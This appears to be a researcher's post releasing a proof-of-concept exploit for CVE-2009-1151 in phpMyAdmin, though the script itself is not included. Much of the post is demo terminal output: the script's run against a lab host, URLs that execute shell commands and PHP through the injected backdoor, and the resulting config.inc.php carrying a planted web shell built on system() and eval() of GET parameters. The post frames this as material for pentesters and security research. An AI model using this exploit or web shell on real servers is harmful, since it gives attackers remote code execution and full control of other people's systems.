CVE-2009-1151 phpMyAdmin Remote Code Execution Proof of Concept
I couldn't find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it's still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell
) or a memory corruption bug (i.e.: heap overflow).
All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.
After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.
I'm providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don't be evil, it's not worth it.
Demo
$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh <phpMyAdmin_base_URL>
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/
$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:
http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/
http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();
please send any feedback/improvements for this script to unknown.pentester<AT_sign_goes_here>gmail.com
$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x 2 root root 4096 Mar 11 10:12 bin
drwxr-xr-x 3 root root 4096 May 6 10:01 boot
lrwxrwxrwx 1 root root 11 Oct 12 2008 cdrom -> media/cdrom
drwxr-xr-x 15 root root 14300 Jun 5 09:02 dev
drwxr-xr-x 147 root root 12288 Jun 5 09:02 etc
drwxr-xr-x 3 root root 4096 Oct 18 2008 home
drwxr-xr-x 2 root root 4096 Jul 2 2008 initrd
_[partial output removed for brevity reasons]_
Contents of /config/config.inc.php
after our evil code has been successfully injected:
/*
* Generated configuration file
* Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ <michal@cihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Tue, 09 Jun 2009 14:13:34 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'';system($_GET['c']);echo '';}if($_GET['p']){echo
'';eval($_GET['p']);echo '';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
/* End of servers configuration */
Thanks
I'd like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!
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